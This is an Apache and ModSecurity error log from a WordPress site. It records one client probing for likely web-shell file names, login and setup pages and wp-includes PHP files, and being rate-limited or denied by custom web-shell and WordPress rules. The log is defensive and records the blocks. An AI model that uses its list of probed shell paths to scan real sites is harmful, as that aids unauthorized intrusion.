[Thu Feb 26 15:52:55.395331 2026] [:error] [pid 3883:tid 3905] [client 20.151.2.242:28616] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "aZ_71-A33x90V6yYHai5dwAAAVM"]
[Thu Feb 26 15:52:57.166340 2026] [:error] [pid 3883:tid 3892] [client 20.151.2.242:28649] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "aZ_72eA33x90V6yYHai5fgAAAUY"]
[Thu Feb 26 15:52:58.924114 2026] [:error] [pid 55051:tid 55057] [client 20.151.2.242:28630] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws72.php"] [unique_id "aZ_72gmK1w2kZvh5eLH9DAAAAIM"]
[Thu Feb 26 15:53:01.451983 2026] [:error] [pid 55122:tid 55129] [client 20.151.2.242:28650] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws72.php"] [unique_id "aZ_73YLiR0OfjFxvcN_eTQAAAMU"]
[Thu Feb 26 15:53:02.687901 2026] [:error] [pid 25311:tid 25335] [client 20.151.2.242:28539] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws72.php"] [unique_id "aZ_73tfdM__yZAgJFSswfwAAAZU"]
[Thu Feb 26 15:53:23.406038 2026] [:error] [pid 20419:tid 20439] [client 20.151.2.242:28588] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aZ_78-3DVDvMfTYYUBXTDwAAAdE"]
[Thu Feb 26 15:53:24.219276 2026] [:error] [pid 3883:tid 3908] [client 20.151.2.242:28602] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aZ_79OA33x90V6yYHai6IwAAAVY"]
[Thu Feb 26 15:53:24.976501 2026] [:error] [pid 3883:tid 3910] [client 20.151.2.242:28589] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aZ_79OA33x90V6yYHai6JwAAAVg"]
[Thu Feb 26 15:53:28.484879 2026] [:error] [pid 25311:tid 25324] [client 20.151.2.242:28555] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aZ_7-NfdM__yZAgJFSswsQAAAYo"]
[Thu Feb 26 15:53:30.012911 2026] [:error] [pid 55122:tid 55130] [client 20.151.2.242:28633] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aZ_7-oLiR0OfjFxvcN_ebAAAAMY"]
[Thu Feb 26 15:53:31.024084 2026] [:error] [pid 20419:tid 20438] [client 20.151.2.242:28452] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aZ_7--3DVDvMfTYYUBXTGwAAAdA"]
[Thu Feb 26 15:53:33.403879 2026] [:error] [pid 25311:tid 25337] [client 20.151.2.242:28662] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aZ_7_dfdM__yZAgJFSswwwAAAZc"]
[Thu Feb 26 15:53:33.901587 2026] [:error] [pid 20419:tid 20429] [client 20.151.2.242:28627] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aZ_7_e3DVDvMfTYYUBXTJgAAAcc"]
[Thu Feb 26 15:53:35.990906 2026] [:error] [pid 55618:tid 55625] [client 20.151.2.242:28614] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aZ_7_x61Vrh12f_8oWSlpAAAAQQ"]
[Thu Feb 26 15:53:36.685282 2026] [:error] [pid 55122:tid 55143] [client 20.151.2.242:28553] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aZ_8AILiR0OfjFxvcN_edQAAANM"]
[Thu Feb 26 15:53:38.200989 2026] [:error] [pid 20419:tid 20439] [client 20.151.2.242:28648] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aZ_8Au3DVDvMfTYYUBXTKgAAAdE"]
[Thu Feb 26 15:53:39.106764 2026] [:error] [pid 3883:tid 3896] [client 20.151.2.242:28576] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aZ_8A-A33x90V6yYHai6YQAAAUo"]
[Thu Feb 26 15:53:40.507332 2026] [:error] [pid 25311:tid 25331] [client 20.151.2.242:28634] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aZ_8BNfdM__yZAgJFSswyAAAAZE"]
[Thu Feb 26 15:53:41.708722 2026] [:error] [pid 55051:tid 55074] [client 20.151.2.242:28545] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aZ_8BQmK1w2kZvh5eLH9OwAAAJQ"]
[Thu Feb 26 15:53:44.770385 2026] [:error] [pid 55051:tid 55059] [client 20.151.2.242:28613] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aZ_8CAmK1w2kZvh5eLH9QAAAAIU"]
[Thu Feb 26 15:53:45.659139 2026] [:error] [pid 25311:tid 25319] [client 20.151.2.242:28564] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aZ_8CdfdM__yZAgJFSsw1wAAAYU"]
[Thu Feb 26 15:53:46.892035 2026] [:error] [pid 3883:tid 3892] [client 20.151.2.242:28526] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aZ_8CuA33x90V6yYHai6jgAAAUY"]
[Thu Feb 26 15:53:49.860801 2026] [:error] [pid 25311:tid 25326] [client 20.151.2.242:28620] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aZ_8DdfdM__yZAgJFSsw4AAAAYw"]
[Thu Feb 26 15:53:50.975425 2026] [:error] [pid 3883:tid 3892] [client 20.151.2.242:28628] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aZ_8DuA33x90V6yYHai6pQAAAUY"]
[Thu Feb 26 15:53:53.267128 2026] [:error] [pid 3883:tid 3894] [client 20.151.2.242:28646] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aZ_8EeA33x90V6yYHai6vAAAAUg"]
[Thu Feb 26 15:53:56.075039 2026] [:error] [pid 3883:tid 3907] [client 20.151.2.242:28625] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aZ_8FOA33x90V6yYHai6xQAAAVU"]
[Thu Feb 26 15:53:57.679805 2026] [:error] [pid 3883:tid 3909] [client 20.151.2.242:28552] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aZ_8FeA33x90V6yYHai62gAAAVc"]
[Thu Feb 26 15:53:58.734700 2026] [:error] [pid 3883:tid 3904] [client 20.151.2.242:28541] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aZ_8FuA33x90V6yYHai65QAAAVI"]
[Thu Feb 26 15:54:00.212956 2026] [:error] [pid 3883:tid 3898] [client 20.151.2.242:28547] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aZ_8GOA33x90V6yYHai69AAAAUw"]
[Thu Feb 26 15:54:01.333754 2026] [:error] [pid 55618:tid 55634] [client 20.151.2.242:28459] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/freedoms.php"] [unique_id "aZ_8GR61Vrh12f_8oWSlxAAAAQ0"]
[Thu Feb 26 15:54:02.777054 2026] [:error] [pid 3883:tid 3910] [client 20.151.2.242:28574] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/freedoms.php"] [unique_id "aZ_8GuA33x90V6yYHai7DwAAAVg"]
[Thu Feb 26 15:54:05.151902 2026] [:error] [pid 55051:tid 55064] [client 20.151.2.242:28483] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/freedoms.php"] [unique_id "aZ_8HQmK1w2kZvh5eLH9VwAAAIo"]
[Thu Feb 26 15:54:07.547710 2026] [:error] [pid 25311:tid 25327] [client 20.151.2.242:28612] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/freedoms.php"] [unique_id "aZ_8H9fdM__yZAgJFSsxHwAAAY0"]
[Thu Feb 26 15:54:08.408889 2026] [:error] [pid 3883:tid 3901] [client 20.151.2.242:28448] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aZ_8IOA33x90V6yYHai7SQAAAU8"]
[Thu Feb 26 15:54:10.842017 2026] [:error] [pid 55051:tid 55068] [client 20.151.2.242:28655] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aZ_8IgmK1w2kZvh5eLH9XwAAAI4"]
[Thu Feb 26 15:54:11.562602 2026] [:error] [pid 55122:tid 55144] [client 20.151.2.242:28598] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aZ_8I4LiR0OfjFxvcN_elgAAANQ"]
[Thu Feb 26 15:54:14.371169 2026] [:error] [pid 55051:tid 55067] [client 20.151.2.242:28499] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aZ_8JgmK1w2kZvh5eLH9ZwAAAI0"]
[Thu Feb 26 15:54:15.664617 2026] [:error] [pid 54991:tid 55042] [client 20.151.2.242:28637] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aZ_8J94Zx-mJ8gbRB2ihsAAAAFY"]
[Thu Feb 26 15:54:16.750105 2026] [:error] [pid 25311:tid 25336] [client 20.151.2.242:28457] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aZ_8KNfdM__yZAgJFSsxMQAAAZY"]
[Thu Feb 26 15:54:17.656503 2026] [:error] [pid 25311:tid 25322] [client 20.151.2.242:28591] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aZ_8KdfdM__yZAgJFSsxMwAAAYg"]
[Thu Feb 26 15:54:18.798842 2026] [:error] [pid 25311:tid 25319] [client 20.151.2.242:28518] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aZ_8KtfdM__yZAgJFSsxPgAAAYU"]
[Thu Feb 26 15:54:20.108791 2026] [:error] [pid 25311:tid 25338] [client 20.151.2.242:28661] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aZ_8LNfdM__yZAgJFSsxVAAAAZg"]
[Thu Feb 26 15:54:20.872820 2026] [:error] [pid 25311:tid 25330] [client 20.151.2.242:28551] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aZ_8LNfdM__yZAgJFSsxYAAAAZA"]
[Thu Feb 26 15:54:29.280806 2026] [:error] [pid 3883:tid 3903] [client 20.151.2.242:28429] [client 20.151.2.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.2.242, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ_8NeA33x90V6yYHai7rQAAAVE"]
[Thu Feb 26 15:54:32.239024 2026] [:error] [pid 55051:tid 55066] [client 20.151.2.242:28610] [client 20.151.2.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.2.242, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ_8OAmK1w2kZvh5eLH9eQAAAIw"]
[Thu Feb 26 15:54:36.411084 2026] [autoindex:error] [pid 3883:tid 3889] [client 20.151.2.242:28429] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 15:54:45.736910 2026] [:error] [pid 3883:tid 3897] [client 20.151.2.242:28429] [client 20.151.2.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.2.242, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aZ_8ReA33x90V6yYHai8FgAAAUs"]
[Thu Feb 26 15:54:47.172268 2026] [:error] [pid 3883:tid 3905] [client 20.151.2.242:28429] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/checkbex.php"] [unique_id "aZ_8R-A33x90V6yYHai8HAAAAVM"]
[Thu Feb 26 15:54:51.051119 2026] [:error] [pid 54990:tid 54994] [client 20.151.2.242:28546] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/checkbex.php"] [unique_id "aZ_8S3tr2qmt_mBhH2zuIQAAAAE"]
[Thu Feb 26 15:54:52.079781 2026] [:error] [pid 3883:tid 3907] [client 20.151.2.242:28490] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/checkbex.php"] [unique_id "aZ_8TOA33x90V6yYHai8IgAAAVU"]
[Thu Feb 26 15:54:53.140138 2026] [:error] [pid 55122:tid 55130] [client 20.151.2.242:28482] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/checkbex.php"] [unique_id "aZ_8TYLiR0OfjFxvcN_e0wAAAMY"]
[Thu Feb 26 15:54:55.026727 2026] [:error] [pid 55051:tid 55058] [client 20.151.2.242:28485] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aZ_8TwmK1w2kZvh5eLH9pAAAAIQ"]
[Thu Feb 26 15:54:56.018371 2026] [:error] [pid 55122:tid 55142] [client 20.151.2.242:28587] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aZ_8UILiR0OfjFxvcN_e2gAAANI"]
[Thu Feb 26 15:54:58.247365 2026] [:error] [pid 55122:tid 55134] [client 20.151.2.242:28532] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aZ_8UoLiR0OfjFxvcN_e4AAAAMo"]
[Thu Feb 26 15:55:00.350071 2026] [:error] [pid 55051:tid 55071] [client 20.151.2.242:28644] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aZ_8VAmK1w2kZvh5eLH9sAAAAJE"]
[Thu Feb 26 15:55:01.717588 2026] [:error] [pid 55051:tid 55075] [client 20.151.2.242:28654] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/item.php"] [unique_id "aZ_8VQmK1w2kZvh5eLH9swAAAJU"]
